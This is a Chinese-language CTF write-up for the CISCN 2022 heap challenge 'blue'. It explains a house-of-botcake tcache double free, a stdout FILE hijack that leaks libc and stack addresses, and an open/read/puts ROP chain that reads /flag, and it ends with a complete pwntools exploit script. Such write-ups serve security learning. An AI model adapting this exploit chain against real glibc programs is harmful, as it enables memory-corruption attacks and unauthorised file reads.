[CISCN 2022 华东北]blue

最后更新于 2024-11-18 1098 字 预计阅读时间: 5 分钟


elf堆,libc Ubuntu GLIBC 2.31-0ubuntu9.8,实在懒得找用Ubuntu GLIBC 2.31-0ubuntu9代替一下,远程打不了就算了,就有一些偏移不一样

保护全开

house of botcake+orw

在2.29?之后的tcache bins里的chunk会在bk位存在一个key记录这个被free的chunk放在哪个tcache bins里,当这个chunk再次被free后会从bk里找值去遍历对应的tcache bins如果有相同的chunk就会报double free的错误,只要有堆溢出或者任意地址写将其改掉或者清空就能实现df。

本题只有一次uaf和show并且没有edit,在add处可以编辑,采用df实现edit功能,故采用攻击stdout来泄露的地址

house of botcake

先把0xa0的tcache bins填满,接下来free的chunk将会进入unsorted bins

for x in range(10):
    add(0x90)
for x in range(7):
    free(x)

用uaf泄露地址,保留第八个堆块的地址

p.sendlineafter(select, b"666")
p.sendlineafter(b"Please input idx: ", str(8).encode())
show(8)
libc_base=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x1ECBE0
print("libc--->"+hex(libc_base))
stdout=libc_base+libc.sym["_IO_2_1_stdout_"]
environ=libc_base+libc.sym["environ"]

接下来free第七个chunk

free(7)

由于7和8相邻都是在并且tcache bins被填满,7和8就会合并一个大堆块

将一个堆块从tcache bins里取出

add(0x90,b"/flag\x00")#0

因为8号堆块没有被放入tcache bins所以在bk处没有key并且uaf的缘故我们还留有其地址。再次free

8号堆块同时存在于tcache bins和unsorted bins,我们切割unsorted bins的大堆块

free(8)

unsorted bins里的堆块就会停在8号堆块的上方,再次malloc一个就可以写8号堆块

add(0x80)#1

往8号堆块里写入stdout,add两次就可以得到劫持stdout

add(0x80,p64(0)+p64(0xa1)+p64(stdout))#2

伪造stdout的flag改为0xfbad1800并且将其write_base和write_ptr指向environ和environ+8,在下一次puts会检查伪造flag不会重置write_ptr和write_base,得到栈的地址

add(0x90)#3
add(0x90,p64(0xfbad1800) + p64(0) * 3 + p64(environ) + p64(environ + 8) )#4
stack=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x150
print("stack--->"+hex(stack))

因为堆块没有free,再次进行上述步骤

free(3)
free(2)
add(0x80,p64(0)+p64(0xa1)+p64(stack))

申请到栈上打orw

rdi = libc_base + 0x0000000000023b6a # pop rdi ; ret
rsi = libc_base + 0x000000000002601f # pop rsi ; ret
rdx = libc_base + 0x0000000000119431 # pop rdx ; ret
rcx_rbx = libc_base + 0x000000000010257e # pop rdx ; ret
syscall=libc.sym["syscall"]+libc_base
#gdb.attach(p,"b *$rebase(0x137D)")
add(0x90)
payload=flat([
    b"/flag\x00\x00\x00"*2,
    rdi,stack+8,
    rsi,0,
    libc_base+libc.sym["open"],
    rdi,3,
    rsi,stack+0x100,
    rdx,0x50,0,
    libc_base+libc.sym["read"],

    rdi,stack+0x100,
    libc_base+libc.sym["puts"]

])
add(0x90,payload)

得到flag

完整exp

from pwn import *
from pwn import p64,p32,u64,u32
context(os="linux",log_level="debug")
from pwn import *
import os
filename="./pwn"
os.system(f'chmod 777 ./{filename}')
debug=1
if debug:
    p=process(filename)
    # gdb.attach(p,"b *$rebase(0x137D)")
else:
    p=remote("node4.anna.nssctf.cn",28897)
libc=ELF("/root/Desktop/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/libc-2.31.so")
elf=ELF(filename)
context.arch=elf.arch
select=b"Choice:"


def add(size,content=b""):
    p.sendlineafter(select, b"1")
    #p.sendlineafter(b"Index: ", str(index).encode())
    p.sendlineafter(b"Please input size: ", str(size).encode())
    p.sendlineafter(b"Please input content: ", content)


def edit(content,index=0):
    p.sendlineafter(select, b"4")
    p.sendlineafter(b"Index: ", str(index).encode())
    #p.sendlineafter(b"input size", str(len(content)).encode())
    p.sendlineafter(b"Content: ", content)

def free(index=0):
    p.sendlineafter(select, b"2")
    p.sendlineafter(b"Please input idx: ", str(index).encode())


def show(index=0):
    p.sendlineafter(select, b"3")
    p.sendlineafter(b"Please input idx: ", str(index).encode())



for x in range(10):
    add(0x90)
for x in range(7):
    free(x)

p.sendlineafter(select, b"666")
p.sendlineafter(b"Please input idx: ", str(8).encode())
show(8)
libc_base=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x1ECBE0
print("libc--->"+hex(libc_base))
stdout=libc_base+libc.sym["_IO_2_1_stdout_"]
environ=libc_base+libc.sym["environ"]
free(7)
add(0x90,b"/flag\x00")#0
free(8)
add(0x80)#1
add(0x80,p64(0)+p64(0xa1)+p64(stdout))#2
add(0x90)#3
add(0x90,p64(0xfbad1800) + p64(0) * 3 + p64(environ) + p64(environ + 8) )#4
stack=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x150
print("stack--->"+hex(stack))
free(3)
free(2)
add(0x80,p64(0)+p64(0xa1)+p64(stack))
rdi = libc_base + 0x0000000000023b6a # pop rdi ; ret
rsi = libc_base + 0x000000000002601f # pop rsi ; ret
rdx = libc_base + 0x0000000000119431 # pop rdx ; ret
rcx_rbx = libc_base + 0x000000000010257e # pop rdx ; ret
syscall=libc.sym["syscall"]+libc_base
#gdb.attach(p,"b *$rebase(0x137D)")
add(0x90)
payload=flat([
    b"/flag\x00\x00\x00"*2,
    rdi,stack+8,
    rsi,0,
    libc_base+libc.sym["open"],
    rdi,3,
    rsi,stack+0x100,
    rdx,0x50,0,
    libc_base+libc.sym["read"],

    rdi,stack+0x100,
    libc_base+libc.sym["puts"]

])
add(0x90,payload)

#gdb.attach(proc.pidof(p)[0])
p.interactive()
此作者没有提供个人介绍。
最后更新于 2024-11-18